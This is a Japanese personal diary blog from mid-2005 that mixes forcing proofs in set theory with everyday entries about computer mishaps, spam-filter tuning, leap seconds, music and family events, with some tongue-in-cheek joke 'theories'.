$p||-{\forall{x}(x\in{X}~\rightarrow~x\in{Y})}\rightarrow~~~X\subset_p{Y}$
つまり
$(a)\,\,\forall{x}(p||-(x\in{X}~\rightarrow~x\in{Y}))\rightarrow~~~X\subset_p{Y}$
が成立すれば良いのです。ただし $X\subset_p{Y}$ はここだけの記号で、forcing における等号の定義の「半分」が成立すること、即ち
$\forall~(x,~s)\in{X}\forall{q\le{p}}\exist{r\le{q}}(~r\le{s}\,\rightarrow\,\exist{(y,~t)\in{Y}(r\le{t}\,\wedge\,r||-x=y)})$
のこととして (a) の対偶の
$(b)\,\,X{\not\subset}_p{Y}\rightarrow~~\exists{x}(\neg(p||-(x\in{X}~\rightarrow~x\in{Y})))$
を証明します。まず (b) の前提条件は $(x,s_0)\in{X}$ が存在し
$\exists{q\le{p}}\forall{r\le{q}}(r\le{s_0}\wedge~{\neg{\exists(y,s_1)\in{Y}(r\le{s_1}\wedge~r||-x=y)}})$
が成立することであり、先頭の存在記号に現れる $q$ を固定すると $q\le{p}$ で任意の $r\le{q}$ に対し
$r\le{s_0}\,\wedge\,{\neg{\exists(y,s_1)\in{Y}(r\le{s_1}\wedge~r||-x=y)}}$
が成立するということです。ところで $(x,~s_0)\in{X}$ なので $s_0||-x\in{X}$ が成立し $q\le{s_0}$ なので $q||-x\in{X}.$ ここでもし $q||-y\in{Y}$ が成立すると仮定すると定義により、
$\forall{s\le{q}}\exists{r\le{s}}~~~~~(\exists(y,s_1)\in{Y}(r\le{s_1}\,\wedge\,~r||-x=y))$
が成立し、特に $s=q$ の場合を考えると
$(d)\,\,\exists{r\le{q}}~~~~~(\exists(y,s_1)\in{Y}(r\le{s_1}\,\wedge\,~r||-x=y))$
となるがこれは (c) に矛盾します。

[内包の公理]

$\varphi$ を論理式とします。証明したいことは
$\mathbb{1}||-\forall{X}\exist{Y}\forall{x}(x\in{Y}\,~\leftrightarrow\,x\in{X}\wedge\varphi(x))$
なので $X\in{M^{\mathbb{P}}}$ を固定して
$Y=\{(x,p)\in\text{dom}(X)\times{\mathbb{P}}\,|\,p||-x\in{X}\wedge\varphi(x)\}$
が任意の $p||-x\in{X}$ なる $x,~p$ に対し $p||-x\in{Y}~\leftrightarrow~p||-x\in{X}\wedge\varphi(x)$ を満たすことを示します。まず $p||-x\in{Y}$ を仮定すると定義により
$(a)\,\,\forall{q\le{p}}\exist{r\le{q}}\exist{(y,s)\in{Y}~(r\le{s}\wedge~r||-x=y)$
$Y$ の定義により (a) は
$(b)\,\,\forall{q\le{p}}\exist{r\le{q}}\exist{(y,~s)\in\text{dom}(X)\times~\mathbb{P}}~(r\le{s}\,\wedge\,(s||-y\in{X}\wedge\varphi(y))\,\wedge~r||-x=y)$
と書き換えることができ、従って
$(c)\,\,\forall{q\le{p}}\exist{r\le{q}(r||-x\in{X}\wedge\varphi(x))$
が成立するので $p||-x\in{X}\wedge\varphi(x).$ 逆に $p||-x\in{X}\wedge\varphi(x)$ を仮定すると強制関係における $\in$ の定義と $p||-\varphi(x)$ により
$(d)\,\,\forall{q\le{p}}\exist{r\le{q}}\exist{(y,s)\in{X}}~(r\le{s}\,\wedge\,r||-x=y~\,\wedge\,~p||-\varphi(x))$
が成立します。従って (d) の条件を満たす $r,y$ に対して $y\in\text{dom}(X)~\,\wedge~\,~r||-y\in{X}\,\wedge\,r||-\varphi(y)$ が成立するので $(y,~r)\in{Y}$ 従って $r||-y\in{Y}$ が成立し $r||-x=y$ により $r||-x\in{Y}.$ この様な $r$ は dense below $p$ なので $p||-x\in{Y}.$
今日は会社から帰り損ねて、簡単な公理が成立することの証明を書いたのですが、残っているのは「合併の公理」「無限公理」「置換公理」「冪集合の公理」「選択公理」「正則の公理」ですか。最初の二つはともかく、残りは私にとってはちと面倒です。いやはや先が思いやられますな(^^。

2005年8月4日(木)

お泊まり
ちとトラブルがあって本日は会社に泊まりです。いや 22時すぎると電車がないのですよ(^^。今「翌日の」1時頃ですが、やっとこ一段落したので、うだうだと朝まで過ごすことにしましょう。朝一で帰りたいところですが、明日もちとやることがあるので早々に帰る訳には行きません。いやはや疲れますなあ(^^。

2005年8月3日(水)

くるくるマウス
ずーっと一つボタンでがんばって来たアップルからついに「複数ボタン・くるくる機能」付きマウスの発表です。うーむ、個人的には余計なものが付いてない一つボタンマウスのデザインは大好きなのですが、たまにマウスを忘れてしまい、普通のくるくるマウスを使うとこれがなかなか便利なのですよ(^^。一つボタンに戻った時しばらく不便さを感じるという場合も多々あります。今のところ無線ヴァージョンは発表されていないのですが、デザイン的にもなかなか良さそうなので、無線のが発売されたら買ってしまう可能性が非常に強いのです。なのでまたまた散財ですな(^^。
＃さらに電池の持ちが悪くなったらどうしよう(笑)

2005年8月2日(火)

江ノ島の花火
8月です。今日は江ノ島の花火大会で、藤沢駅で電車を降りたら、浴衣おねーちゃんがたくさん歩いていました。なかなか風情があるものです(^^。
全然関係ない話ですが、8月10日に10月以降全国にばらまかれる計測器の CF 1000枚の内容を確定して、製造業者様の方に渡す必要があります。一度渡したらもう後戻りできません。いやいや中に入れるソフトウエアーは予定通り完成していまして今のところ何の問題もないのですが、なんせ 1000枚の CF を焼き直すなんていうことを考えると「間違いが許されない」訳なのですよ。なので仕事は基本的にのんびり行うポリシーの私なのですが、ここ数日ちとストレス過剰状態だったりします(^^。

2005年7月29日(金)

とんでもの諸相
実は先日注文してあった「モデル理論」の本が届きまして、ちょこちょこと読でいるのです。それはそうと「モデル理論・集合論」という分野は、なんか数学系の「とんでも理論」を発する人の宝庫の様な感じがするのです(^^。ネットをちょっと検索するだけでも、これらの方面に関する独自の理論を提唱する人がたくさんいるのです。
物理学の場合「特殊・一般相対論」がとんでもの宝庫なのですが、数学の場合においては次の理由で「モデル理論・集合論」がとんでもさんの餌食になるのだと思います。
- 一見難しそうだがちょっと勉強するとなんとなく意味が分かったつもりになれる部分もある。
- 意味が分かると一見直感に反する意外な結果が多い。
- 形式とその意味解釈とが密接に関連した分野である。
特に最後の「形式と解釈」の部分が問題でして、ほとんどのとんでもさんはこのあたりの区別があいまいなことにより、独自の理論を作ってしまう場合が多い様です。とんでもに陥る人の特徴を列挙しますと、

言葉にまどわされやすい。

普通数学の定義等に使用される「言葉」は、直感的に意味内容が分かりやすい様に定められ、実際定義の意味を理解するということは重要なのですが、本来「意味」というものは公理等による「関係」により暗黙に定められるものなのです。ところがとんでもの人はどうも言葉のニュアンスによりその意味内容を自分で解釈してしまう傾向があるようで、極端な場合、定義の意味を広辞苑で調べたりして引用している例もあったりするのです。

形式と意味を混同する。

これは上に書いたことがらから派生すると思われるのですが、実際には数学の基礎的な部分をきちんと理解する場合、形式論と意味論の区別をはっきりさせないとお話になりません。建前としては形式的に関係や対象を扱う分野が「数学」であり、意味論を扱う部分が「超数学」ということになるのでしょうが、現実には「数学」を行っている場合も意味を考えなければ先へ進めません。それにもかかわらず、基礎的な部分を考察する場合、形式論と意味論の区別は非常に重要であり、そのあたりを区別をあいまいにすると容易にとんでも理論が出来上がることになってしまいます。

先人の努力により今では非常に体系化され分かりやすくなった基本的な部分を真剣に勉強していない。

これだけ数学が広範囲に発達しさらに内容も深くなると、一つの分野を勉強する場合においても、まず先人の業績を理解しないことには(よほどの天才でもない限り)自分独自のきちんとした理論を構築することなどということは不可能です。とんでも理論の提唱者ってこのあたりに関し、とても不誠実であると思います。

論理よりも直感を重視する。論理に対するきびしさが足りない。

直感というのはとても大切です。数学に限らずなにを行う場合でも、直感こそが行動の指針になるものであることは間違いないと思います。それにもかかわらず数学を推進する場合において、直感で何かが成立することが間違いないと考えられても、論理の裏付けがなければ全く無意味です。もちろん数学の世界においてでさえ、論理のみですべてを片付けるのはナンセンスなのですが、直感に重みが行き過ぎるとこれまたいろいろ不思議な理論が構築されることになると思います。直感は大切ですが、それ以上に論理的な考察に対するきびしさが重要なのです。

人の言うことに耳を貸さない。

とんでもの人に一生懸命「それは違いますよ」と説明する良心的な人もたくさんいる訳ですが、これははっきり言いまして時間の無駄です！！。はなから人の言うことを理解しようとする気なんかないんですよ(笑)。

整合性に関する直感があんまりなさそう。

ある事実を考察する場合「整合性」、すなわちその事実が関連する事実に対して矛盾をはらんでいないか。もし矛盾をはらんでいるのならば、修正するかもしくは超越的な概念を考え、矛盾の解消を行う必要があるのですが、とんでもの人はそもそも「整合性」に関する直感が不足しているらしく、まずそうな予兆を感知できないらしい。

というわけで、とんでもさんの特徴をいくつか列挙しましたが、その偉大なる理論を拝謁致しますと、独自の理論を構築された努力、言葉に対する過度とも言える鋭敏さ、意味解釈の独自性等々に関して、ある意味「たいしたもんだな～」という感想を抱く場合も皆無という訳ではありません。そうは言うものの得られた結果はすべて「無意味」です。ある意味独自の才能を持つ人たちが無意味な理論を構築する労力を他の分野に向けていれば、もっと有益な事柄を推進出来る場合もあるのかと思うと、ちともったいない気分になる場合もあることは事実です。でもほとんど害がないと思われる数学のとんでもで世の人たちを楽しませてる方が良いのかも知れません。変な宗教方面とかに向かいだすと、ほんとに困った事態になることが予想されますからね(^^。

2005年7月27日(水)

人様の iPod mini
本日おんなじ会社の石川県の営業所から女性の N さんが来てたのですが、最近 iPod mini(4G) をお買い上げになったということで、私のところにじまんしにきたのですよ。そこで、「あれ～、それは Mac を持っているしか使っちゃいけないんですよ。なので私に下さい」と言ったのですが、残念ながらやはり頂けないそうで(^^。
ところで Nさんは昨日お買い上げになった CDを一枚持っていらっしゃり、「かがみさの PowerBook に iTunes 入っているんでしょ。帰りに聴きたいからこれ入れて下さい」とお願いされたのでした。さっそくその CD を iTunes で AACエンコードしまして、さらに iPod mini を刺したのですが、
iPod mini のファームウエアーを最新のものにしますか？
なるメッセージが出てきました。そこで最新のにしても宜しいということを確認しまして、更新ボタンを押したのですが、なんか Windows でフォーマットされているので更新出来ませんなんたらかんたら、ということでうまくゆきません。仕方ないので更新に関してはまあいいや、ということで次に進んだのですが、こんどは、
iTunes のライブラリーを結合しますか？
という感じのメッセージが出てきたのです、良くわからないのでここはキャンセルしてさっき変換した AACファイルを転送しようとしたのですが全然うまくゆきません。選択して iPod mini のアイコンのとこに持って行ってもだめなんですよ。
仕方がないので、一度 iPod mini を抜いて再び刺してこんどは「ライブラリーの結合」を選択したのですが、
浩子さんの曲が勝手にどんどん転送されていきます(笑)
いやはやこれは困った。なんとか途中で転送中断の方法が分かったので、CD 3 枚分位転送したところでキャンセル出来たのですが、さすがにそのまま残しとくのはまずいので、消そうと思ったのですが消し方が分かりません。さらに N さんがもともと入れておいた 2G バイト分位の曲はなくなっていたりしました(笑)。
iPod 系の仕組みって個別の曲を転送するのは難しくって、PC と同期をとるのが基本ポリシーなのだろうか。それにしてもこのままにしとくわけにもいかないし困ったな～、と思っていたのですが、そういえば「ファームウエアー更新」をキャンセルしたときに「購入時初期化」なるメニューが出て来たのを思い出して、「初期化しちゃっていいですか～。どうせもう失うものなさそうだし (笑)」とお願いして初期化しちゃいました。いやはやほんとにごめんなさい。
というわけで「せっかく新しい CD を聴きながら石川県に帰ろうとしてたのに、他の曲まで全部消しちゃってほんとに申しわけないです。こんなことになってしまったのもすべて私の責任です。もし宜しかったら 1,000円で引き取りましょうか」と最大限の誠意をみせたのですが、残念ながらこちらも却下されてしまったのでした(^^。

2005年7月26日(火)

浜松公演予約
9月1日(木)に谷山浩子さんの浜松公演があるのです。昨日先行電話予約の葉書が来てたので、さっそく本日受付開始時間に電話をかけてみました。こういうのは電話をかけるタイミングが難しいので、奥さまの PHS を借りての二台体制です(^^。そうはいうものの、PHS というのはダイアルしてから繋がるまでの時間がいまいち一定しないのでなかなか大変そうです。
私ので 8秒前にダイアル
奥さまので 5秒前にダイアル
両方話し中でした(笑)。むむむのむ！これはタイミングが早すぎたのか遅すぎたのか？というわけで大慌てで両方リダイアルしたのですが、
こんどは奥さまのが繋がりました(^^
そんなわけで、なんとなく一番くじっぽい予約番号をもらったのですが、本当に一番の整理券がくるのだろうか。もうその気になっているので、実は違ったという場合とってもとってもショックが大きいかも知れません(笑)。

2005年7月23日(土)

AH-K3001Vファームウエアー更新
ちまたのうわさによりますと1.8に更新されたそうなので入れ替えてみました。先日おうちの WindowsXP を再インストールしたばかりなので、まず AH-K3001V のUSB ドラーバーのインストルから行う必要がありました。どういうわけかこのドライバーはネットに公開されていなくて、買った時に箱に入っていたのをインストールする必要があります。案外面倒です。
おうちには奥さま用と私用の二台ありまして、まず奥さまが一円で購入したのから更新したのですが、購入時のヴァージョンは 1.5 だった様です。次の私の方の更新なのですが、ずいぶんしばらく行ってなかった様な気がしたので、奥さまと同じくらいのヴァージョンと思っていたら 1.7でした。うーん案外まめに更新していのですな。前回更新のときはいろいろとトラブルがあったので、今回も面倒なことになるとやだな～、と思ったのですが、特に問題なく終了しました。
肝心の使い勝手ですが今のところよく分かりません(笑)。てゆうか、休日はほとんど使いませんので。来週の月曜日になれば変化を実感出来るかも知れません。

2005年7月21日(木)

世紀の大発見！
ちょっと前から Google で月の地図サービスなるものが始まりました。さっそく大きくしたり小さくしたり移動したりして遊んでみたのですが、ななななんと！！とんでもない大発見をしたのです。
まずは右の写真を拡大してみて下され。偉大なる第一発見者はもちろん私なのですが、言われてみれば誰でも分かる様に、まんなかあたりの岩は明らかに人顔岩なのですよ(^^。
ところでこれを発見しただけという業績でしたら、単に運が良かっただけということも考えられ、ある意味たいしたことはないのでは、という意見もありえます。ところが以前私は、月に人間が住んでいる確率は極めて 1 に近いということを、完璧な論理にて証明しているのです。
もちろんこの業績によりノーベル賞受賞は確実と思われていたのですが、良く知られている様にノーベル賞委員会は極めて保守的で、例えばアインシュタインのノーベル賞受賞理由は、当時実験的な実証なるものがまだ少なかった「一般相対性理論」でなはく、それに比べればはるかにつまらない「光量子理論」によるものなのです。さらに今や疑う人はいないと思われる、ブラックホールが輻射を行うことを証明したホーキングも、実験もしくは観測による証拠が得られないということで未だにノーベル賞を受賞していません。
そんなわけで私自身も月には人間がほぼ確実に住んでいるという完璧な証明を与えたにもかかわらず、まあノーベル賞はもらえないんだろうな～。どうせたいした賞でないし(笑)、と考えていたのです。ところがところが本日の大発見です。つまり個人的には理論の完璧さにより結果はすでに分かったいたのでどうでも良いことなのですが、本日「理論が観測により証明された」のであります。もちろん「理論」が観測や実験により「証明」されるなどということは実際にはありえないのですが、今そんなことはどうでもよろし(^^。月という物理的な実体に対する深い考察と、人間が真空である月に居住可能であるという医学的な大発見により、ふふふのふ、史上初のノーベル物理学賞・医学生理学賞の同時受賞は間違いありませんな(^^。
今日から夏休み
藤沢市の小中高校は今日から夏休みです。なので二女とモカちゃんも今日からお休み。モカちゃんはさっそくお友達と(プールかなんかだと思う)遊びに行くということで、朝奥さまに送ってもらい車で一緒におうちを出たのです。小田急線の私は新宿方面で、モカちゃんたちは江ノ島方面です。ところが打ち合わせの時間になっても一緒に行くお友達がなかなか来ません(^^。こりゃ次の電車じゃないと間に合わないかな～、と思っていたら、電車の時間の三分くらい前にお友達が到着しました。やれやれ。モカちゃんたちが江ノ島方面の電車に乗り込むのを確認して、私は新宿方面のに乗って長い長い通勤の旅に出たのでした(^^。

2005年7月18日(月)

日記壊滅する
いやはや大変なへまをやってしまいました(^^。実は昨日の写真を整理していたとき枚数が多いので、サムネールが分かれる様二つのディレクトリーに分散して保存したのです。やりかたとしては 20050717-1, 20050717-2 なるディレクトリーを作成しまして、面倒なので最初は 200枚を全部 20050717-1 にコピーして、切りが良いところが 105枚目からというのは事前に調べてあったので、
$ cd 20050717-1
$ for i in `ls | tail -105` ;do mv $i ../20050717-2 ;done
なるコマンドを実行したのです。もちろんこれは問題なく終了しまして、大体 100枚ずつ二つに分かれたモカちゃん発表会サムネールがおうち人には見えるようになったのでした。
ところがですよ、ところが！！。その後、ちとサーバーの日記のディレクトリーに移動して整理を行おうとして、何かコマンドを打つときシェルヒストリー機能を使っていたら、思わず上のコマンドに二つ目が出て来たとき「改行」を押しちゃったのですよ(^^。
むむむのむ、これはもしかしてとってもまずい...。でも移動先が存在しないディレクトリーだから害がないか。でもどうしてエラーメッセージが出ないのだろう？なんておおまぬけなこと考えてたのですが、もちろんこれはとってもまずいことになった訳で、
日記のディレクトリーが空っぽになって、その上のディレクトリーに 20050717-2 なる一つだけのファイルが出来ました(笑)
こういう場合普段は 20050717-2/ とディレクトリーを明示するスラッシュをつけるのですが、悪いことは重なるもので、なぜか今日はつけてなかったのでした。
というわけで日記文章の本体はクライアント(PowerBook)側にあるのですが、 CGI とか PHP は大丈夫なのだろうか。いやいや毎日定期的に R30(サーバー) からX24(現在バックアップ専用機)へ夜中にバックアップしているので問題ないであろうと思ったら、
昨年の 12月 PowerBook を購入してからバックアップしてませんでした(笑)。
うーん完全に忘れていましたな。それにしても毎日バックアップを取っていると思っていたのに、実はなんにもしていなかったという、半年間極めて危険な状態だったのでした。幸いにして半年前のバックアップから CGI, PHP を取り出したところ現在と同じものの様で、日記の本体はもちろんクライアントのを使用すれば良いので、ことなきを得たのですが、あわててバックアップ用のシェルを新たに書いて crontab に設定したのはもちろんなのです(^^。

2005年7月17日(日)

モカちゃんピアノ発表会
今日はモカちゃんのピアノの発表会でして、モカちゃんが弾いた曲は
メンデルスゾーン作曲「無言歌集第7巻より『夜曲』Op85-1」
メンデルスゾーン作曲「無言歌集第4巻より『プレストアジタート(胸騒ぎ)』Op53-3」
その他連弾とかアンサンブルとか数曲。
「プレストアジタート」は普通の子供にとってはかなりの難曲だと思うのですが(最初楽譜を見たときこりゃだめなんではと思った...)、最後までちゃんと弾ききりました。うーんおみごと！！。いや、聴いている方としては、結構はらはらどきどきだったんですよ～(^^。
もちろん少々のミスはあったのですが、モカちゃんも「まあまあかな～」という感想で、とってもとってもご満悦の様子だったのでした(^^。
余談ですが、例のごとく数打ちゃ当たるで写真を撮りまくりまして、撮った枚数がなんと 200枚(^^。もちろん失敗した写真もたくさんあるのですが、まあ記念ということで全部ご家族さま用写真サーバーにアップしました。

2005年7月16日(土)

forcing における等号の基本性質
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

実は前回までかなり暗黙に使用してしまったのですが、等号が等号たる次の事実は証明が必要です(今回からは慣習的に名称を表す \dot を省略する場合もあります)。
(E1) $\mathbb{1}||-X=X$
(E2) $\mathbb{1}||-(X=Y~\,\rightarrow\,~Y=X)$
(E3) $\mathbb{1}||-(X=Y~\wedge~Y=Z~\,\rightarrow\,~X=Z)$
(E4) $\mathbb{1}||-(x\in{X}~\wedge~x=y~\,\rightarrow\,~y\in{X})$
(E5) $\mathbb{1}||-(x\in{X}~\wedge~X=Y~\,\rightarrow\,~x\in{Y})$
最初に自明とは言えませんが、定義から容易に導かれる次の事実に注意します。
[FACT] $\mathbb{1}||-\phi\rightarro\psi~\,\Leftrightarrow~\,~\forall{p\in\mathbb{P}}(p||-\phi\rightarrow\psi)~\,\Leftrightarrow\,~\forall{p\in\mathbb{P}}(p||-\phi\rightarrow\,~p||-\psi)$
まず[FACT]により、例えば(E2)を証明するには、
任意の $p\in\mathbb{P}$ に対して $p||-X=Y$ ならば $p||-Y=X$
を証明すれば良いのです。
ところで (E1),(E2) は定義からほとんど明らかなのと (E4),(E5) は (E3) の証明が出来て、その方法と(E3)の結果を利用すれば比較的簡単に証明出来るので(E3)のみを証明することとします。
$p\in\mathbb{P}$ とし $(x,~r_1)\in{X}$ 固定します。 $p||-X=Y$ より
$D_0=\{s|s\le{r_1}\,\rightarrow\,\exist{(y,r_2)\in{Y}}~(s\le{r_2}\,~\wedge~\,s||-x=y)\}$
は dense below $p$ 従って $q\le{p}$ を固定すると $s\in{D_0}$ なる $s\le{q}$ が存在します。さて
$D_2=\{t|t\le{r_1}\,\rightarrow\,\exist{(z,r_3)\in{Z}}~(t\le{r_3}\,~\wedge~\,t||-x=z)\}$
として $t\le{s}$ が存在して $t\in{D_2}$ が証明出来れば $D_2$ は dense below $p$ であることが分かり「逆方向」も同様なので証明は完了です。まず $s\not\le{r_1}$ の場合は $s\in{D_2}$ は明らかなので $s\le{r_1}$ と仮定して $s\le{r_2}~\,\wedge\,~s||-x=y$ なる $(y,r_2)\in{Y}$ を固定します。すると $p||-Y=Z$ すなわち $s||-Y=Z$ により
$D_1=\{t|t\le{r_2}\,\rightarrow\,\exist{(z,r_3)\in{Z}}~(t\le{r_3}\,~\wedge~\,t||-y=z)\}$
は dense below $s.$ ところが $s\le{r_2}$ なので $t\le{s},\,~(z,r_3)\in{Z}$ で
$t\le{r_3}\,~\wedge~\,t||-y=z$
を満たすものが存在します。まとめると
$s\le{q}\le{p}\cr~s\le{r_1}\cr~s\le{r_2}\cr~s||-x=y\cr~t\le{s}\cr~t\le{r_3}\cr~t||-y=z$
従って
$t\le{r_1}\,\wedge\,t\le{r_3}\,\wedge\,t||-x=y~\,\wedge\,~t||-y=z$
元のモデルの要素の rank による帰納法により
$t\le{r_1}\,\wedge\,t\le{r_3}\,\wedge\,t||-x=z$
従って $t\in{D_2}$
これにより(E3)が証明されました。(E1)から(E5)の結果と forcing の定義により、論理式 $\varphi$ に対して
$\mathbb{1}||-(x=y~\rightarrow~(\varphi(x)\rightarrow\varphi(y)))$
が成立することは簡単に分かります。

2005年7月14日(木)

Max OS X 10.4.2
昨日ヴァージョンアップされたようです。早速インストールしたのですが、一瞬 Windows ネットワークが見えなくなってあせりました。でもリブートしたら直りました。どうしてなんだろう？
その他の点に関し、私が使用している範囲ではとりたてて変化はありません。まあ、現在特に困っていることないですから(^^。おそらく2年後位に i386 Mac を購入するまで劇的な変化はないと思います。

2005年7月12日(火)

ミュージックバトン
こういう企画って知らなかったのですが、たかたにさんとこからご指名が(^^。うーん私のなんかちっとも面白くないとは思うのですが。
コンピュータに入ってる音楽ファイルの容量

AAC 192Kbit エンコードでアルバム40枚。曲数が466でファイルの容量が約 2.7Gバイト。谷山浩子さんのが 36枚で、岩男潤子さんのが 1枚、他のはクラシックのピアノです。

今聞いている曲

最近は生CDをスピーカーで聴くのにはまっててコンピューターではあんまり聴いてないです。もともと「なにかしながら」聴くということはあんまりしない人なので。

最後に買ったCD

谷山浩子「月光シアター」

よく聞く、または特別な思い入れのある5曲
1. 谷山浩子・「ここにいるよ」(岩男潤子作曲・谷山浩子作詞)
  三年前大阪でリクエストした曲。
2. 谷山浩子・「七角錐の少女」(谷山浩子作詞作曲)
  様式美が素晴らしいと思う。
3. 谷山浩子・「海の時間」(谷山浩子作詞作曲)
  メロディーラインが好きです。
4. グレングールド演奏「バッハ作曲・ゴルドベルクの主題による変奏曲」
  最近は新しい録音のを聴くことが多いのですが、モノラル時代の古い方のでピアノ音楽にはまった演奏です。
5. 「ショパン作曲・24のプレリュード作品28」
  ショパンという作曲家のすべてが含まれていると思います。
バトンを渡す5人

うーんちょっと思いつかないのでこちらはパスです(^^。

2005年7月11日(月)

ご家族さまPC壊滅
いやいや壊滅と言いましても、壊れちゃったのではなく、ウイルスだかスパイウエアーだか、そんな感じのが入っちゃったらしいのですよ(汗)。勝手に IE が起動して広告ページが表示されて、さらには「スパイウエアーがインストールされたらしいので注意！！Click Here」とかなんとかメッセージが出るのですが、そのクリック先がこれまた怪しいという(笑)。
ウイルス対策ソフトとかなんとか言う、それ自体がウイルスみたいなのは自宅 PC には絶対入れない主義なので、これは Windows を再インストールするしかありません。この前新しい PC を買った時、その前の PC に入ってたご家族さまのファイルが散乱していて、バックアップに非常に苦労したのですが、そのときかなり文句を言ったので、今回はきれいに整理されていました。最初は CD にでもバックアップしようかと思ったのですが、案外量が多く 4G バイトくらいあったので、結局 samba を使って FreeBSD/R30 自宅サーバーにバックアップを取りました。
インストール自体はリカバリー CD を使って簡単に終り、最初にやったことは、今回の騒動の原因は IE にありそうなので、コンポーネントから IE の削除です。ところが次の作業を行おうとしたら、
IE がないので FireFox をダウンロード出来ません(笑)
はははっ、世界一のおおまぬけ(^^。というわけで IE を復活させて FireFox をダウンロードして、再び IE の削除です。そうですよ！IE って FireFox をダウンロードすることのみに必要なんでした。あとはいくつか設定して、なんとかブラウザとメール位は使える様にしたのですが、自分の分はともかく、ご家族さま四人分の設定は結構大変でした。ご家族さまのメールサーバー (R30/FreeBSD) のパスワードとか当然覚えてないので、全部作り直して登録しなけりゃいけなかったし。
まだまだ色々とインストールしたり設定する必要があるのですが、残りは今週中くらいに少しずつということになりそうです。

2005年7月8日(金)

大失態
いつもちゃんとパジャマ着て寝てるんですが、昨日の夜はちと寝苦しくって夜中無意識に脱いじゃったらしいのです。まあそれは良くあることで特に問題はないのですが、なんと朝6時頃目を覚ましたら、
ぱんつからはみだしていました(笑)
いやはや別に奥さまに見られるのはよしとして、あの情けない姿を子供に見られちゃったんだろうか。怖くて聞けないんですよ。どうしよう(^^。

2005年7月6日(水)

うるう秒
よくわからんのですが、現在の時間の定義は、
「セシウム133原子の基底状態の二つの超微細準位の間の遷移に対応する放射の9192631770周期の継続時間」を1秒とする
なのだそうな。もちろんこの定義はうるう年とかを考慮した上での、地球の回転周期に大体合っているのですが、地球の歳差運動による揺らぎににより、自転周期が非同期にずれてしまう場合もあるそうなのです。
そこで使用されるのが「うるう秒」というもので、実際には地球の回転が遅れ気味なので、今までは秒を一つ余分に挿入するパターンしか現れていません。うるう秒が実施される場合、数ヶ月前に予告が行われることが通常で、なんと次回は来年の1月1日に行われるそうなのです。具体的には日本の場合、標準時計との時差が 9時間なので、
2006年1月1日8時59分59秒
2006年1月1日8時59分60秒 <===
2006年1月1日9時00分00秒
というふうに、8時59分60秒という時刻が発生するわけです。
いや、なんでこんなつまんないこと書くのかと言いますと、私の仕事って秒単位の計測機器の開発が多く、かなりの時刻精度が求められるので、「うるう秒」の処理ってとってもとっても面倒なんですよ！(^^。それにしてもなんでよりによってお正月に...。平日にやんなさいよ！！。こりゃお正月早々出勤せにゃあかん可能性が高いですな。この 6年間くらいなかったんですがねえ。
そこで当然のごとく考えたのは、なんとかうるう秒をなくしてしまう方法なのですが、まあ時間の定義を変更するのは私の政治力では難しそうなので、こりゃ地球様にもうちょっと速く回ってもらうしかなさそうです。これはとっても難しそうに感じますが、物理学の初歩の「作用反作用の法則」を考慮すれば案外簡単そうで、
みんなで東から西に向かって走れば良い(^^。
ことは明白です。もちろんひとたび西方向に走った場合、その効果を維持するためには地球を一周して戻ってくる必要があります。
というわけで、私自身が走るのは絶対にやなので、ジョギングが好きそうな人に「西方向に走って地球一周してちょうだいよ～」とお願いしまくってるのですが、うーむどうしてだろう... 誰も真面目に走ろうとせんのですよ(^^。
最近理科教育のレヴェル低下が問題になっていますが、普段はとっても聡明と思われる人が上の完璧な理論を理解出来ないとは！もしかしてすでに極めて深刻な状態になってしまっているのかも知れません。
そもそも上の理論は簡潔ではありますが、その物理的な独創性、走るので健康に良いこと、うるう秒の処理に費やされるソフトウエアーの経費が削減される等、極めて斬新なアイディアが網羅されており、史上初のノーベル物理学賞・医学生理学賞・経済学賞同時受賞は間違いないと断言出来る業績なのです。なのに周りの人がだれも理解してくれないとは。世も末ですな(^^。
＃どうせ数秒のずれなんて大勢に影響が無いので、私が引退してから
＃10秒分位まとめて補正すれば良いのですがねえ(^^。

2005年7月5日(火)

bsfilter パラメーター変更
おうちでは SpamAssassin と bsfilter でスパムよけをしていまして、この数ヶ月間は比較的平和な日々を送っていたのですが、最近両方をすり抜けるスパムが増えてきたのです。スパムフィルターをすりぬけたメールに関しては案外まめに学習させているのですが、それでもなかなか追いつきません
どうも相手様も色々と作戦を練ってくるらしく、長文でそれなりの文章のスパムを作る様になってきたのが原因みたいです。
そこでスパムなのに bsfilter を通り抜けたののスパム確率を調べてみると、スパム確率が低い順から下記の通り。
```
2638:X-bsSpam-Probability: 0.420502
2600:X-bsSpam-Probability: 0.452101
2447:X-bsSpam-Probability: 0.481662
2828:X-bsSpam-Probability: 0.491992
3557:X-bsSpam-Probability: 0.495580
3011:X-bsSpam-Probability: 0.497168
2452:X-bsSpam-Probability: 0.499383
3018:X-bsSpam-Probability: 0.499786
2821:X-bsSpam-Probability: 0.499790
2599:X-bsSpam-Probability: 0.499993
2117:X-bsSpam-Probability: 0.500000
2118:X-bsSpam-Probability: 0.500000
....
2715:X-bsSpam-Probability: 0.500001
3021:X-bsSpam-Probability: 0.500001
2512:X-bsSpam-Probability: 0.500002
3772:X-bsSpam-Probability: 0.500002
4105:X-bsSpam-Probability: 0.500004
2801:X-bsSpam-Probability: 0.500008
3517:X-bsSpam-Probability: 0.500017
4011:X-bsSpam-Probability: 0.500040
3884:X-bsSpam-Probability: 0.500054
4130:X-bsSpam-Probability: 0.500105
3334:X-bsSpam-Probability: 0.500134
2963:X-bsSpam-Probability: 0.500136
3793:X-bsSpam-Probability: 0.500163
2981:X-bsSpam-Probability: 0.500164
4114:X-bsSpam-Probability: 0.500176
```
一応それなりの確率ポイントは獲得している様です。同様にしてスパムでないメールで確率が高いものを調べると、こちらは 0.5 位が最大なのです。どうも、確率 0.5 がスパムかどうかの分かれ道という感じです。
ところでスパムじゃないメールでスパム確率 0.5 のものの内容を調べてみると、これはほとんどが「スパムではない」広告メールでして、スパム箱は定期的にチェックしているので、一時的にスパムと判定されても特に問題なさそうです。
というわけで、もともと Bsfilter はデフォルトで 95% 以上の確率でないとスパムと判定しないのが、今まで学習した成果を鑑みると甘過ぎる様でなので、この条件を厳しくしてみました。やったことは簡単で、
bsfilter --spam-cutoff 0.50001 ... # 0.5 はとりあえず許してあげる
なるオプションを追加しただけなのですが、この成果は絶大でして、本日も確率 0.6 とか 0.5001 のが捕捉されておりました(^^。
